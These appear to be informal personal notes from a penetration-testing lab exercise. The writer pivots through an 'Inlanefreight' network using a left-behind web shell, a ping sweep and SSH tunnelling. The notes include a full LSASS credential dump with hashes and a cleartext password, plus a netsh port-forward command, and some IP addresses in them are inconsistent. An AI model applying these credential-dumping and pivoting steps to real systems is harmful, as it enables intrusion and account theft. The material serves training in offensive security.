A team member started a Penetration Test against the Inlanefreight environment but was moved to another project at the last minute. Luckily for us, they left a web shell in place for us to get back into the network so we can pick up where they left off. We need to leverage the web shell to continue enumerating the hosts, identifying common services, and using those services/protocols to pivot into the internal networks of Inlanefreight. Our detailed objectives are below:
Objectives
- Start from external (Pwnbox or your own VM) and access the first system via the web shell left in place.
Use the web shell access to enumerate and pivot to an internal host.
- Continue enumeration and pivoting until you reach the Inlanefreight Domain Controller and capture the associated flag.
- Use any data, credentials, scripts, or other information within the environment to enable your pivoting attempts.
- Grab any/all flags that can be found.
in /home/webadmin
www-data@inlanefreight.local:/home/webadmin# cat for-admin-eyes-only
# note to self,
in order to reach server01 or other servers in the subnet from here you have to us the user account:mlefay
with a password of :
Plain Human work!
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.5.15 netmask 255.255.0.0 broadcast 172.16.255.255
inet6 fe80::250:56ff:feb0:7a3e prefixlen 64 scopeid 0x20<link>
webadmin@inlanefreight:~$ for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
64 bytes from 172.16.5.15: icmp_seq=1 ttl=64 time=0.018 ms
64 bytes from 172.16.5.35: icmp_seq=1 ttl=128 time=2.99 ms
was able to rdp into 172.16.5.35 using ssh -D (not sure why sshuttle wasnt working but i think it was just because i wasn't nmapping with correct flags and shit) anyway
we dumped lsass and got some info:
== LogonSession ==
authentication_id 164096 (28100)
session_id 0
username vfrank
domainname INLANEFREIGHT
logon_server ACADEMY-PIVOT-D
logon_time 2024-08-28T19:08:41.691034+00:00
sid S-1-5-21-3858284412-1730064152-742000644-1103
luid 164096
== MSV ==
Username: vfrank
Domain: INLANEFREIGHT
LM: NA
NT: 2e16a00be74fa0bf862b4256d0347e83
SHA1: b055c7614a5520ea0fc1184ac02c88096e447e0b
DPAPI: 97ead6d940822b2c57b18885ffcc5fb4
== WDIGEST [28100]==
username vfrank
domainname INLANEFREIGHT
password None
password (hex)
== Kerberos ==
Username: vfrank
Domain: INLANEFREIGHT.LOCAL
Password: Imply wet Unmasked!
password (hex)49006d0070006c0079002000770065007400200055006e006d00610073006b006500640021000000
== WDIGEST [28100]==
username vfrank
domainname INLANEFREIGHT
password None
password (hex)
== DPAPI [28100]==
luid 164096
key_guid 560f4286-76f2-4f0f-90a9-5135bbc0104f
masterkey 4fc3adb204f30f6a226f637b66be93811cee121eaed0e4ec2e8bc023d2d38d396e0c4e827aa49c6b1c2a58f6428ca725be027497ad10f8dd386d5926e7bf73b7
sha1_masterkey a3e3a61d9a74541a56c3a822d5470bedbb2d4fb5

attempting to forward 172.16.5.35:8080 to 172.16.6.35:3389

netsh.exe interface portproxy add v4tov4 listenport=9191 listenaddress=176.16.5.35 connectport=3389 connectaddress=172.16.6.25